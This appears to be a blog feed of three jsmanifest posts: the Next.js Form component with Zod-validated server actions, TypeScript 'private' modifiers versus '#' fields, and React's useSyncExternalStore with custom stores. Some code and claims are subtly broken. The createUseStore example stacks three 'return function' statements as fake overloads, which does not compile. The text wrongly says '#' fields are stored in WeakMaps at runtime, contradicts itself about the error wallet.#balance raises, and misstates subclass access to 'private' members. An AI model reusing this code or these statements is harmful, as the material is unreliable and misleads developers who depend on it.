The relationship between the Next.js Form component, native HTML forms, and custom wrapper components reveals what problems the framework actually solves. Most teams built custom wrappers to handle loading states, prevent double submissions, and manage navigation after form submission. The Form component eliminates these concerns but does not replace validation logic or complex form state management.

Native HTML forms provide reliable submission mechanics but cause full page reloads and lose application state. The browser serializes form data, sends a POST request, and replaces the current page with the response. Scroll position resets to the top, navigation history adds a new entry, and any client-side state disappears. These behaviors are correct for traditional server-rendered applications but feel broken in modern single-page experiences.

Custom form wrappers typically intercept the submit event, prevent default browser behavior, manually serialize form data, send an API request, and update the UI based on the response. This pattern introduces multiple failure modes: the serialization logic might not handle all input types correctly, the loading state management can race with user interactions, and any error during submission leaves the form in an inconsistent state.

The Next.js Form component solves the navigation and submission locking problems without requiring custom wrapper logic. When JavaScript is available, the component prevents full page reloads by intercepting the submit event and using client-side navigation. When JavaScript is not available, the form falls back to standard browser submission. Both paths execute the same server action and produce the same result.

The component does not solve validation, multi-step flows, or complex field dependencies. Teams still need validation libraries like Zod for type-safe schemas, form state management for multi-step wizards, and custom hooks for field-level validation feedback. The distinction is between infrastructure concerns that the framework handles and business logic that applications must implement.

This matters because most custom form wrappers mix infrastructure and business logic in ways that make both harder to maintain. When a wrapper component handles submission locking and also manages validation state, changing the validation library requires modifying the wrapper. The Form component separates these concerns by providing infrastructure and leaving business logic to the application.

Building a Production Form with Server Actions and Validation

Production forms require validation, error handling, and user feedback beyond what the basic Form component provides. The pattern that emerges is server-side validation in the action function, client-side state management for visual feedback, and progressive enhancement that works in both modes.

'use server'

import { z } from 'zod'

const signupSchema = z.object({
  email: z.string().email('Valid email required'),
  password: z.string().min(8, 'Password must be at least 8 characters'),
  terms: z.literal('on', { 
    errorMap: () => ({ message: 'You must accept the terms' })
  })
})

export async function signup(prevState: any, formData: FormData) {
  const result = signupSchema.safeParse({
    email: formData.get('email'),
    password: formData.get('password'),
    terms: formData.get('terms')
  })

  if (!result.success) {
    return {
      errors: result.error.flatten().fieldErrors,
      message: 'Validation failed'
    }
  }

  // Database operations, API calls, etc.
  try {
    await createUser(result.data)
    return { success: true }
  } catch (error) {
    return {
      message: 'Failed to create account',
      errors: {}
    }
  }
}

The server action validates the form data using a Zod schema and returns either validation errors or a success response. The validation happens on the server where it cannot be bypassed, which means the same validation logic protects both the progressive enhancement path and the JavaScript-enhanced path. This prevents the validation drift that occurs when teams maintain separate client and server validation.

The client component uses useActionState to access the server action state and display validation errors. The hook provides the current state, a wrapped action function that maintains state across submissions, and the form action that triggers on submit.

'use client'

import Form from 'next/form'
import { useActionState } from 'react'
import { signup } from './actions'

export default function SignupForm() {
  const [state, formAction, pending] = useActionState(signup, null)

  return (
    <Form action={formAction}>
      <div>
        <label htmlFor="email">Email</label>
        <input
          id="email"
          name="email"
          type="email"
          required
          aria-invalid={state?.errors?.email ? 'true' : 'false'}
          aria-describedby={state?.errors?.email ? 'email-error' : undefined}
        />
        {state?.errors?.email && (
          <span id="email-error" role="alert">
            {state.errors.email[0]}
          </span>
        )}
      </div>

      <div>
        <label htmlFor="password">Password</label>
        <input
          id="password"
          name="password"
          type="password"
          required
          minLength={8}
          aria-invalid={state?.errors?.password ? 'true' : 'false'}
          aria-describedby={state?.errors?.password ? 'password-error' : undefined}
        />
        {state?.errors?.password && (
          <span id="password-error" role="alert">
            {state.errors.password[0]}
          </span>
        )}
      </div>

      <div>
        <label>
          <input
            type="checkbox"
            name="terms"
            required
            aria-invalid={state?.errors?.terms ? 'true' : 'false'}
            aria-describedby={state?.errors?.terms ? 'terms-error' : undefined}
          />
          Accept terms and conditions
        </label>
        {state?.errors?.terms && (
          <span id="terms-error" role="alert">
            {state.errors.terms[0]}
          </span>
        )}
      </div>

      <button type="submit" disabled={pending}>
        {pending ? 'Creating account...' : 'Sign up'}
      </button>

      {state?.message && (
        <div role="alert">{state.message}</div>
      )}
    </Form>
  )
}

The pending state from useActionState indicates when the server action is executing, which allows the form to disable the submit button and show loading feedback. The state updates automatically when the action completes, which means the error messages appear without manual state management or effect hooks.

The pattern also includes HTML validation attributes like required and minLength as a first line of defense. Browser validation provides instant feedback for basic requirements and works even when JavaScript fails to load. The server validation catches anything that bypasses client-side checks, which ensures data integrity regardless of how the form was submitted.

This approach works in three layers: HTML validation provides instant feedback for basic rules, server validation enforces business rules and data integrity, and client state management displays server validation results in the UI. Each layer handles the concerns it is best suited for, which creates a robust form that works in all environments while providing the best possible user experience when all layers are available.

Migration Guide: Replacing Your Custom Form Wrappers

Most teams maintain custom form wrapper components that handle submission logic, loading states, and error display. Migrating to the Next.js Form component requires moving logic from client components to server actions and removing code that the framework now handles automatically.

The typical custom wrapper looks like this before migration:

// Before: Custom wrapper with manual submission
'use client'

import { useState } from 'react'

export default function CustomFormWrapper({ children, onSubmit }) {
  const [loading, setLoading] = useState(false)
  const [errors, setErrors] = useState({})

  async function handleSubmit(e) {
    e.preventDefault()
    setLoading(true)
    setErrors({})

    const formData = new FormData(e.target)
    const data = Object.fromEntries(formData)

    try {
      const response = await fetch('/api/submit', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(data)
      })

      const result = await response.json()

      if (!response.ok) {
        setErrors(result.errors || {})
        return
      }

      await onSubmit(result)
    } catch (error) {
      setErrors({ _form: 'Submission failed' })
    } finally {
      setLoading(false)
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      {children}
      {errors._form && <div>{errors._form}</div>}
    </form>
  )
}

This wrapper handles concerns that the Form component and useActionState provide automatically. The manual fetch call, loading state management, and error handling all become unnecessary. After migration:

// After: Server action with useActionState
'use client'

import Form from 'next/form'
import { useActionState } from 'react'
import { submitForm } from './actions'

export default function MigratedForm({ children }) {
  const [state, action, pending] = useActionState(submitForm, null)

  return (
    <Form action={action}>
      {children}
      {state?.errors?._form && (
        <div role="alert">{state.errors._form}</div>
      )}
    </Form>
  )
}

The server action moves to a separate file with the 'use server' directive:

'use server'

export async function submitForm(prevState, formData) {
  // Validation and business logic that was previously in the API route
  const email = formData.get('email')

  try {
    await processSubmission(email)
    return { success: true }
  } catch (error) {
    return {
      errors: { _form: 'Submission failed' }
    }
  }
}

The migration eliminates the custom wrapper, the API route, and the manual state management while preserving the same functionality. The form works without JavaScript through native browser submission and enhances progressively when the framework hydrates.

The migration also removes common bugs: the form cannot double-submit because Next.js locks the action during execution, the loading state cannot get stuck because the framework manages it, and validation cannot drift between client and server because only server validation runs.

Teams should migrate forms incrementally, starting with simple forms that do not have complex client-side interactions. Forms with multi-step wizards, dynamic field dependencies, or heavy client-side validation might need to keep some wrapper logic while adopting the Form component for submission mechanics.

Frequently Asked Questions

When should teams use the Form component instead of a native HTML form?

Use the Form component when the form navigates to a new route or executes a server action and you want to prevent full page reloads. The component provides progressive enhancement automatically, which means the form works immediately before JavaScript loads and improves the experience after hydration. For forms that do not navigate or that need completely custom submission logic, a native HTML form with a custom submit handler might be more appropriate.

Does the Form component work with client-side validation libraries?

The component works with any validation library because it uses the native form submission mechanism. Add client-side validation through HTML attributes like required and pattern for instant feedback, then perform comprehensive validation in the server action. Client-side validation libraries can hook into the form through standard DOM events and validation attributes without requiring any special integration with the Form component.

How does Form handle file uploads and multipart form data?

The component handles file uploads through the standard FormData interface. When an input has type="file", the browser includes the file in the FormData object that the server action receives. Access uploaded files through formData.get('fieldName'), which returns a File object with the file contents, name, and type. The same server action handles both regular form fields and file uploads without requiring separate handling logic.

Can Form be used with external APIs instead of server actions?

Set the action prop to a URL string instead of a server action function to submit forms to external APIs. The form will use standard browser submission without JavaScript and progressive enhancement with JavaScript available. This pattern works for third-party integrations, legacy API endpoints, and any form that needs to POST to a URL that is not a Next.js server action.

What happens to form data when JavaScript fails to load?

The form submits through the browser's native form submission mechanism, which sends a POST request to the action URL with the form data serialized as application/x-www-form-urlencoded or multipart/form-data. The server action receives the same FormData object regardless of whether JavaScript was available. This ensures the form remains functional even when JavaScript fails to load, executes slowly, or throws an error during initialization.

Conclusion: When to Use Form and When to Stick with Custom Solutions

The Next.js 16 Form component eliminates most reasons for custom form wrappers by providing progressive enhancement, navigation management, and submission locking as framework primitives. Teams should adopt it for standard forms that submit to server actions or navigate to new routes because the component handles infrastructure concerns that are expensive to maintain correctly.

The component does not replace validation libraries, form state management for multi-step flows, or complex field interactions that require tight client-side coordination. Forms with dynamic field generation, conditional validation rules, or real-time collaboration features still benefit from custom abstractions that the Form component was not designed to handle.

The deciding factor is whether the form's core functionality depends on JavaScript. If the form can execute its primary purpose through native browser submission and JavaScript only enhances the experience, use the Form component. If the form requires client-side logic to function at all, build on native HTML forms with custom event handlers and keep the progressive enhancement pattern in mind even when full functionality requires JavaScript.

That covers the essential patterns for the Next.js 16 Form component. Apply these in production and the difference will be immediate: fewer bugs from state management, better accessibility from native form behavior, and reliable submission mechanics in all network conditions. The framework now handles the infrastructure layer that most teams were maintaining themselves, which lets developers focus on validation logic and user experience instead of submission mechanics and navigation state.

TypeScript Access Modifiers in 2026: Why `private` Fields Beat `#` and When the Opposite Is True

jsmanifest — Thu, 03 Sep 2026 20:05:16 +0000

TypeScript Access Modifiers in 2026: Why `private` Fields Beat `#` and When the Opposite Is True

Most privacy bugs in TypeScript codebases stem from misunderstanding the two fundamentally incompatible encapsulation models: compile-time private modifiers and runtime ECMAScript # fields. Teams pick one arbitrarily, ship to production, then discover edge cases where their choice breaks catastrophically.

The TypeScript private keyword offers zero runtime protection. The compiler enforces visibility during development, but the emitted JavaScript exposes every field as a plain public property. Any consumer importing the transpiled code bypasses the entire privacy contract.

ECMAScript # fields solve this with hard privacy. The JavaScript runtime enforces encapsulation using WeakMap storage, making truly inaccessible fields that no external code can reach. This prevents accidental breakage and secures sensitive state in untrusted environments.

The choice between these patterns determines whether your encapsulation survives production. This distinction is critical.

Key Takeaways

TypeScript private modifiers disappear after compilation, leaving plain JavaScript properties accessible at runtime. ECMAScript # fields enforce hard privacy through WeakMap storage that survives transpilation.
Use private for type safety in controlled TypeScript-only codebases where compile-time checks suffice. Use # when shipping libraries, working with dynamic imports, or protecting sensitive data from runtime inspection.
The two patterns are not interchangeable. Migrating from private to # changes your public API surface and breaks reflection-based tooling. Codebases need explicit conventions to prevent mixing both inconsistently.
Most teams over-rely on private because it feels familiar from other languages, then encounter silent failures when JavaScript consumers bypass the contract. The failure mode here is subtle but expensive.
In 2026, TypeScript 5.7+ supports both natively with full type inference. The decision comes down to trust boundaries: do you control every consumer, or does your code run in hostile environments?

Understanding TypeScript's `private` Modifier: Compile-Time Only

TypeScript's private modifier exists solely in the type system. The compiler prevents access during development, but the resulting JavaScript contains ordinary properties with no protection mechanism. This makes private a documentation tool more than a security feature.

class UserSession {
  private token: string;
  private expiresAt: number;

  constructor(token: string, ttl: number) {
    this.token = token;
    this.expiresAt = Date.now() + ttl;
  }

  isValid(): boolean {
    return Date.now() < this.expiresAt;
  }
}

const session = new UserSession("abc123", 3600000);
// TypeScript error: Property 'token' is private
// console.log(session.token);

The emitted JavaScript looks like this:

class UserSession {
  constructor(token, ttl) {
    this.token = token;
    this.expiresAt = Date.now() + ttl;
  }

  isValid() {
    return Date.now() < this.expiresAt;
  }
}

const session = new UserSession("abc123", 3600000);
// Works perfectly at runtime
console.log(session.token); // "abc123"

The private keyword vanished. Any JavaScript consumer can read or mutate the field directly. This matters in three scenarios: publishing libraries to npm, loading third-party modules dynamically, or working with reflection-based frameworks like serializers or ORMs.

The advantage of private modifiers is simplicity. Developers familiar with Java or C# adopt the pattern instantly. IntelliSense hides private members in autocomplete. Refactoring tools understand the visibility contract. The TypeScript compiler catches accidental leaks during code review.

The failure mode appears when assumptions about the runtime environment break. A team building an internal dashboard assumes all consumers use TypeScript. Six months later, a Python service imports the transpiled JavaScript bundle and mutates session tokens directly. The privacy contract collapsed because it never existed outside the compiler.

This pattern works when you control the entire dependency graph and enforce TypeScript everywhere. The moment you cross language boundaries or publish to public registries, private becomes a suggestion.

ECMAScript Private Fields (`#`): Runtime-Enforced Hard Privacy

ECMAScript private fields use the # prefix to create truly inaccessible class properties. The JavaScript runtime stores these in an internal WeakMap, making them invisible to reflection and external code. TypeScript preserves the # syntax when targeting ES2022 or later.

class SecureWallet {
  #balance: number;
  #encryptionKey: string;

  constructor(initialBalance: number, key: string) {
    this.#balance = initialBalance;
    this.#encryptionKey = key;
  }

  getBalance(): number {
    return this.#balance;
  }

  deposit(amount: number): void {
    if (amount <= 0) throw new Error("Invalid amount");
    this.#balance += amount;
  }
}

const wallet = new SecureWallet(1000, "secret-key");
console.log(wallet.getBalance()); // 1000

// Runtime TypeError: cannot access private field
// console.log(wallet.#balance);

The emitted JavaScript retains the # syntax when targeting modern environments:

class SecureWallet {
  #balance;
  #encryptionKey;

  constructor(initialBalance, key) {
    this.#balance = initialBalance;
    this.#encryptionKey = key;
  }

  getBalance() {
    return this.#balance;
  }

  deposit(amount) {
    if (amount <= 0) throw new Error("Invalid amount");
    this.#balance += amount;
  }
}

The browser or Node.js runtime enforces encapsulation. Attempting wallet.#balance throws a syntax error in strict mode. Even Object.keys(wallet) returns an empty array because private fields exist outside the property enumeration system.

The cost of # fields is compatibility. Older transpilation targets like ES5 or ES2015 require polyfills that bloat bundle size. TypeScript generates WeakMap-based shims when targeting legacy environments, adding overhead for every private field access. This matters for libraries shipping to browsers with tight performance budgets.

The other tradeoff is developer experience. Autocomplete cannot suggest # fields from outside the class. Debugging tools sometimes hide private fields in object inspectors. Serialization libraries like JSON.stringify skip private fields silently, which surprises teams expecting complete object graphs.

Private fields excel in three scenarios: protecting cryptographic keys or tokens, preventing API consumers from breaking internal invariants, and shipping code to untrusted environments where reflection-based attacks matter. The runtime guarantees trump convenience in these cases.

Side-by-Side Comparison: When Each Approach Wins

The decision between private modifiers and # fields comes down to trust boundaries and tooling requirements. Neither pattern dominates universally. The implication here is that teams need explicit conventions rather than defaulting to familiarity.

Use TypeScript private when:

Building internal applications where every consumer uses TypeScript with strict compiler checks enabled.
Working with ORMs, serializers, or reflection-based frameworks that enumerate properties to generate database schemas or API payloads.
Targeting legacy environments like ES5 where # field polyfills add unacceptable bundle weight.
Prioritizing developer experience and autocomplete over runtime security.

Use ECMAScript # fields when:

Publishing libraries to npm where JavaScript consumers might import the transpiled code.
Storing sensitive data like authentication tokens, encryption keys, or payment details that must resist inspection.
Working in plugin architectures where untrusted third-party code runs in the same runtime.
Building frameworks or SDKs that enforce API contracts through hard encapsulation rather than documentation.

The patterns conflict when you need both reflection and runtime privacy. A common failure case: an ORM expects to enumerate all fields for database mapping, but # fields disappear from property lists. The workaround involves explicit getter methods or metadata decorators, adding ceremony that teams resist.

Another edge case appears in testing. TypeScript private fields allow test files in the same project to access internals through type assertions. ECMAScript # fields require extracting testable logic into separate methods or using dependency injection patterns. Teams accustomed to testing private implementation details find this friction jarring.

The 2026 landscape shows growing adoption of # fields in security-critical libraries and persistence in private modifiers for internal codebases. TypeScript 5.7 treats both as first-class citizens with full inference and error checking. The choice is architectural rather than technical.

Real-World Code: Implementing Both Patterns

A production codebase often needs both patterns serving different purposes. The key is consistency within logical boundaries: use private for internal implementation details and # for security-critical fields.

class APIClient {
  // Public configuration
  public readonly baseURL: string;

  // Compile-time private implementation detail
  private requestCache: Map<string, Promise<unknown>>;

  // Runtime private security credential
  #authToken: string;

  constructor(baseURL: string, token: string) {
    this.baseURL = baseURL;
    this.requestCache = new Map();
    this.#authToken = token;
  }

  async fetch<T>(endpoint: string): Promise<T> {
    const url = `${this.baseURL}${endpoint}`;

    // Cache lookup using private field
    const cached = this.requestCache.get(url);
    if (cached) return cached as Promise<T>;

    // Authentication using # field
    const promise = this.makeAuthenticatedRequest<T>(url);
    this.requestCache.set(url, promise);
    return promise;
  }

  private async makeAuthenticatedRequest<T>(url: string): Promise<T> {
    const response = await fetch(url, {
      headers: {
        Authorization: `Bearer ${this.#authToken}`,
      },
    });

    if (!response.ok) {
      throw new Error(`HTTP ${response.status}`);
    }

    return response.json();
  }

  // Safe public method to rotate credentials
  updateToken(newToken: string): void {
    this.#authToken = newToken;
    this.requestCache.clear();
  }
}

The requestCache uses private because testing and debugging tools need visibility. Serialization libraries can enumerate it if needed. The #authToken uses hard privacy because exposing it at runtime creates a security vulnerability.

A hybrid approach works when fields have different threat models. Configuration and caches are internal details that benefit from flexible access. Credentials and encryption keys demand runtime guarantees.

Another practical example: state machines with private transition logic and hard-private state:

class OrderStateMachine {
  // Hard-private current state
  #currentState: "pending" | "confirmed" | "shipped" | "delivered";

  // Private transition validator
  private validTransitions: Map<string, Set<string>>;

  constructor(initialState: "pending" | "confirmed" = "pending") {
    this.#currentState = initialState;
    this.validTransitions = new Map([
      ["pending", new Set(["confirmed"])],
      ["confirmed", new Set(["shipped"])],
      ["shipped", new Set(["delivered"])],
    ]);
  }

  getState(): string {
    return this.#currentState;
  }

  transition(toState: "pending" | "confirmed" | "shipped" | "delivered"): void {
    const allowed = this.validTransitions.get(this.#currentState);

    if (!allowed?.has(toState)) {
      throw new Error(
        `Invalid transition: ${this.#currentState} -> ${toState}`
      );
    }

    this.#currentState = toState;
  }

  private validateTransition(from: string, to: string): boolean {
    return this.validTransitions.get(from)?.has(to) ?? false;
  }
}

The state machine exposes getState() publicly but hides the raw #currentState to prevent external mutation. The validTransitions map uses private because test suites may need to verify edge cases by inspecting the ruleset.

This pattern scales. A codebase with 50 classes might use # fields in 10 authentication-related classes and private modifiers everywhere else. The convention documents intent: seeing # signals a security boundary.

Migration Strategies and Team Conventions

Migrating from private to # fields is a breaking change at the API surface. Tools relying on property enumeration will break. The migration requires coordination across teams and gradual rollout.

The migration path for a library:

Audit which fields genuinely need runtime privacy versus compile-time visibility checking.
Publish a major version bump documenting the API surface change.
Migrate security-critical fields to # syntax in a feature branch.
Update internal tests to stop relying on direct field access.
Verify serialization libraries and ORMs still function with the new field structure.
Ship with comprehensive release notes explaining the breaking change.

For internal codebases, the process simplifies. Teams can migrate incrementally without versioning concerns. The challenge is coordination: engineers need to know when # is required versus optional.

A workable convention:

Use # for authentication tokens, encryption keys, database credentials, or personally identifiable information.
Use private for caching layers, configuration objects, internal state machines, or computed properties.
Document the decision in code review guidelines and onboarding materials.
Run linter rules that flag suspicious patterns like storing passwords in private fields.

The ESLint rule for this might look like:

// Example custom rule (pseudocode)
if (fieldName.includes("token") || fieldName.includes("key")) {
  if (modifier === "private" && !syntax.includes("#")) {
    report("Security-critical field must use # syntax");
  }
}

Teams working across TypeScript and JavaScript need different conventions. A monorepo with TypeScript services and legacy JavaScript modules cannot use # fields universally without transpilation overhead. The boundary becomes repository-level: new TypeScript code uses # for sensitive fields, legacy code stays unchanged until rewrite.

The pattern correlation IDs for AI agents demonstrates this hybrid approach in distributed systems where some services enforce hard privacy and others rely on type-level contracts.

Migration failures happen when teams treat the change as mechanical. Switching syntax without auditing consumers leads to silent breakage. A reflection-based logger that enumerated properties for debugging suddenly loses visibility into state. The fix requires explicit getter methods or structured logging APIs.

Frequently Asked Questions

Can I mix `private` modifiers and `#` fields in the same class?

Yes, TypeScript 5.7+ supports both syntaxes simultaneously. Use private for implementation details that might need testing or reflection access, and # for security-critical fields that must resist runtime inspection. The compiler treats them as distinct visibility mechanisms with compatible semantics.

Do `#` fields work in older JavaScript environments like IE11?

Not natively. When targeting ES5 or ES2015, TypeScript transpiles # fields into WeakMap-based polyfills that add bundle weight and runtime overhead. For legacy browser support, stick with private modifiers and rely on build-time visibility checks instead of runtime enforcement.

What happens to `#` fields during JSON serialization?

Private fields are invisible to JSON.stringify and similar serializers. The resulting JSON omits those properties entirely. If you need to serialize private state, add explicit getter methods or use a custom toJSON method that exposes controlled representations of internal data.

Can subclasses access parent class `#` fields?

No. ECMAScript private fields are scoped strictly to the defining class. Subclasses cannot read or write parent # fields even through protected or public methods. This differs from private modifiers where the TypeScript compiler allows subclass access in some cases through explicit type assertions.

Should I migrate existing codebases from `private` to `#` fields?

Only if you have identified concrete security risks or runtime privacy requirements. The migration is a breaking change that affects tooling, serialization, and testing patterns. For most internal applications, private modifiers provide sufficient encapsulation without the migration cost. Focus migration efforts on libraries, public APIs, or security-critical modules first.

Choosing the Right Privacy Model for Your Codebase in 2026

The decision between TypeScript private and ECMAScript # fields is not a technical coin flip. The pattern you choose determines whether your encapsulation contract survives compilation, impacts how third-party code interacts with your APIs, and signals architectural intent to future maintainers.

Use private when you control the entire dependency graph and value developer tooling over runtime enforcement. Use # when shipping to untrusted environments or protecting sensitive data that must resist reflection. Most codebases need both, applied thoughtfully to different field categories.

The cost of choosing wrong shows up in production: accidental mutations breaking invariants, exposed credentials leaking through logging frameworks, or test suites that cannot verify internal state. These failures are preventable with explicit conventions and architectural guidelines.

Teams building internal tools can lean on private modifiers and benefit from mature tooling ecosystems. Teams publishing libraries or working in security-sensitive domains need # fields to enforce contracts at runtime. The 2026 TypeScript landscape supports both patterns equally well. The choice reflects your threat model and consumer trust assumptions.

That covers the essential patterns for TypeScript privacy in 2026. Apply these in production and the difference will be immediate. Your APIs will communicate intent clearly, your security boundaries will hold at runtime, and your team will stop debating visibility rules in code review. For deeper patterns on modern TypeScript tooling, see creating a modern TypeScript library and Biome versus Oxlint for 2026 best practices.

React `useSyncExternalStore` in 2026: The Hook Every State Library Uses and Why You Should Understand It

jsmanifest — Mon, 31 Aug 2026 17:53:12 +0000

React useSyncExternalStore in 2026: The Hook Every State Library Uses and Why You Should Understand It

Most React state management confusion stems from teams treating external stores as if they're native React state. The assumption breaks in React 18's concurrent rendering model, where a component can read from a store twice during a single render and receive different values. This inconsistency—called tearing—corrupts UI state in ways that are expensive to debug and embarrassing to ship.

The pattern that eliminates tearing is useSyncExternalStore, the hook that every production state library now uses under the hood. Developers dismiss it as "library internals" without realizing it's the foundation that makes Zustand, Jotai, and Redux work correctly in concurrent mode. When you understand this hook, you understand why your state library behaves the way it does—and when you need to build a custom store, you know exactly how to integrate it safely.

React 18 introduced time-slicing and transitions that allow renders to pause and resume. A store outside React's control can change during that pause. Without useSyncExternalStore, the resumed render sees new data while sibling components still reference old snapshots. The UI enters an inconsistent state where a product list shows five items but the cart count displays four.

useSyncExternalStore solves this by forcing React to commit any in-progress render when the external store changes. The guarantee is simple: every component in a render tree sees the same snapshot value, even when renders interleave or suspend. This synchronization is what "sync" means in the hook's name—it's not about synchronous code execution, it's about snapshot consistency.

Key Takeaways

useSyncExternalStore prevents tearing by ensuring all components in a concurrent render read the same snapshot value from an external store.
The hook requires three pieces: a stable subscribe function that registers a listener, a getSnapshot function that returns immutable data, and optionally a getServerSnapshot for SSR hydration.
Every major state library (Zustand, Jotai, Redux Toolkit) now uses useSyncExternalStore internally—understanding it reveals why their APIs enforce certain patterns like immutable updates.
Building a custom store with this hook takes fewer than 50 lines but demands strict adherence to immutability and subscription stability to avoid infinite loops.
Choose useSyncExternalStore for any data source outside React's control (browser APIs, WebSockets, shared workers); use Context for component-tree-scoped state that doesn't need external sync.

The Hook Signature: subscribe, getSnapshot, and getServerSnapshot

useSyncExternalStore accepts three arguments, and their interaction determines whether the integration succeeds or fails. The first argument is subscribe, a function that takes a callback and registers it with the external store. When the store changes, it must invoke all registered callbacks. The second argument is getSnapshot, which returns the current store value. React calls this function during render and compares the returned reference to detect changes. The optional third argument is getServerSnapshot, which provides the initial value during server-side rendering when the external store doesn't exist yet.

The contract between these functions is rigid. The subscribe function must return an unsubscribe function that removes the callback when the component unmounts. React expects this cleanup to prevent memory leaks when components re-render or unmount. The failure mode here is subtle: if subscribe returns undefined or a non-function, React silently skips cleanup and the callback continues firing after the component is gone, updating state that no longer exists.

The getSnapshot function must return the same reference for equal values. React uses Object.is comparison to determine if a re-render is necessary. Returning a new object on every call—even if the contents are identical—triggers infinite render loops. This is why store implementations typically cache snapshots and only create new references when the underlying data actually changes. The discipline required here is stricter than useMemo or useCallback because React cannot fix violations for you.

The getServerSnapshot argument addresses the timing mismatch between server and client. On the server, external stores like localStorage or WebSocket connections don't exist. React needs a value to render the initial HTML. When the client hydrates, it must use the same initial value to match the server-rendered markup, then switch to the live store. Omitting getServerSnapshot when targeting SSR causes hydration mismatches that manifest as content flashes or suppressed event handlers.

Building a Simple External Store: Browser Storage Example

The clearest way to understand useSyncExternalStore is to build a custom hook that wraps browser storage. The requirement is simple: when localStorage changes in one tab, all subscribed components across all tabs must re-render with the new value. This cross-tab synchronization is exactly the kind of external data source that Context cannot handle and where custom event listeners fail without careful subscription management.

function createStorageStore<T>(key: string, initialValue: T) {
  let currentValue = initialValue;
  const listeners = new Set<() => void>();

  // Load initial value from localStorage
  if (typeof window !== 'undefined') {
    const stored = localStorage.getItem(key);
    if (stored !== null) {
      try {
        currentValue = JSON.parse(stored);
      } catch {
        // If parse fails, use initialValue
      }
    }
  }

  const subscribe = (callback: () => void) => {
    listeners.add(callback);

    // Listen to storage events from other tabs
    const handleStorage = (e: StorageEvent) => {
      if (e.key === key) {
        const newValue = e.newValue ? JSON.parse(e.newValue) : initialValue;
        currentValue = newValue;
        listeners.forEach(listener => listener());
      }
    };

    window.addEventListener('storage', handleStorage);

    return () => {
      listeners.delete(callback);
      window.removeEventListener('storage', handleStorage);
    };
  };

  const getSnapshot = () => currentValue;

  const getServerSnapshot = () => initialValue;

  const setState = (nextValue: T | ((prev: T) => T)) => {
    const newValue = typeof nextValue === 'function' 
      ? (nextValue as (prev: T) => T)(currentValue)
      : nextValue;

    currentValue = newValue;
    localStorage.setItem(key, JSON.stringify(newValue));
    listeners.forEach(listener => listener());
  };

  return { subscribe, getSnapshot, getServerSnapshot, setState };
}

function useLocalStorage<T>(key: string, initialValue: T) {
  const store = React.useMemo(
    () => createStorageStore(key, initialValue),
    [key]
  );

  const value = React.useSyncExternalStore(
    store.subscribe,
    store.getSnapshot,
    store.getServerSnapshot
  );

  return [value, store.setState] as const;
}

// Usage
function ThemeToggle() {
  const [theme, setTheme] = useLocalStorage('theme', 'light');

  return (
    <button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
      Current theme: {theme}
    </button>
  );
}

The implementation maintains a listeners Set to track subscribed components. When setState is called, it updates both the in-memory currentValue and localStorage, then notifies all listeners. This dual update is critical: updating only localStorage would miss components in the same tab, while updating only memory would miss cross-tab synchronization.

The storage event listener handles changes from other tabs. Browser storage events only fire in tabs that did not trigger the change. When another tab calls setTheme, the event fires in this tab, updating currentValue and notifying local listeners. Without this listener, the hook would only work within a single tab—a common mistake when developers test in one browser window.

The useMemo call ensures createStorageStore runs once per unique key. Without it, every render would create a new store instance with a new subscribe function, and React would treat that as a subscription change, triggering unsubscribe-then-resubscribe on every render. This creates a memory leak where old listeners accumulate because the cleanup function references a stale listeners Set.

How Zustand, Jotai, and Redux Use useSyncExternalStore Under the Hood

State libraries adopted useSyncExternalStore to eliminate tearing without forcing developers to understand the hook directly. The abstraction works because these libraries control the store implementation and can guarantee the subscription and snapshot contracts. When developers call useStore or useAtom, they're indirectly invoking useSyncExternalStore with library-managed functions.

Zustand exposes a subscribe method on the store object that accepts a listener function. Internally, it maintains a Set of listeners identical to the storage example above. When developers call set to update state, Zustand updates the internal store object, then invokes every listener. The useStore hook wraps this with useSyncExternalStore, passing the store's subscribe method directly and a getSnapshot function that returns the current state reference.

Jotai takes a different approach because its atoms are independent units rather than a single store. Each atom has its own subscription mechanism, but the library maintains a global WeakMap that tracks which atoms are mounted and which components subscribe to each. When an atom's value changes, Jotai looks up all subscribed components in the WeakMap and notifies them. The useAtom hook calls useSyncExternalStore with an atom-specific subscribe function that registers the component in this WeakMap.

Redux Toolkit's useSelector hook migrated from a custom subscription system to useSyncExternalStore in version 8. The store's subscribe method registers listeners that fire on every action dispatch. The getSnapshot function runs the selector against the current state and returns the result. Redux compares the selector output with Object.is, so selectors that return new objects on every call cause the same infinite loop problem. This is why Redux documentation emphasizes memoized selectors—it's a requirement of useSyncExternalStore, not a Redux-specific optimization.

The common pattern across all three libraries is that they handle subscription stability and snapshot immutability internally, so developers never write a subscribe function by hand. This abstraction is valuable, but it also means teams adopt these libraries without understanding why certain patterns—like immutable updates in Zustand or memoized selectors in Redux—are mandatory rather than suggested.

Implementing a Type-Safe Mini State Manager in 40 Lines

Understanding the hook's mechanics makes building a custom store straightforward when the requirements don't fit existing libraries. The goal is a global store with actions, TypeScript safety, and automatic re-renders—essentially Zustand's core features in minimal code.

type Listener = () => void;
type SetState<T> = (partial: Partial<T> | ((state: T) => Partial<T>)) => void;

interface StoreApi<T> {
  getState: () => T;
  setState: SetState<T>;
  subscribe: (listener: Listener) => () => void;
}

function createStore<T extends Record<string, unknown>>(
  initialState: T
): StoreApi<T> {
  let state = initialState;
  const listeners = new Set<Listener>();

  const getState = () => state;

  const setState: SetState<T> = (partial) => {
    const nextState = typeof partial === 'function' 
      ? partial(state) 
      : partial;

    state = { ...state, ...nextState };
    listeners.forEach(listener => listener());
  };

  const subscribe = (listener: Listener) => {
    listeners.add(listener);
    return () => listeners.delete(listener);
  };

  return { getState, setState, subscribe };
}

function createUseStore<T extends Record<string, unknown>>(
  store: StoreApi<T>
) {
  return function useStore(): T;
  return function useStore<U>(selector: (state: T) => U): U;
  return function useStore<U>(selector?: (state: T) => U) {
    const selectedState = React.useSyncExternalStore(
      store.subscribe,
      () => selector ? selector(store.getState()) : store.getState(),
      () => selector ? selector(store.getState()) : store.getState()
    );

    return selectedState as U extends undefined ? T : U;
  };
}

// Usage with actions
interface CounterState {
  count: number;
  increment: () => void;
  decrement: () => void;
  reset: () => void;
}

const counterStore = createStore<CounterState>({
  count: 0,
  increment: () => {},
  decrement: () => {},
  reset: () => {},
});

// Bind actions after store creation
counterStore.setState({
  increment: () => counterStore.setState(s => ({ count: s.count + 1 })),
  decrement: () => counterStore.setState(s => ({ count: s.count - 1 })),
  reset: () => counterStore.setState({ count: 0 }),
});

const useCounter = createUseStore(counterStore);

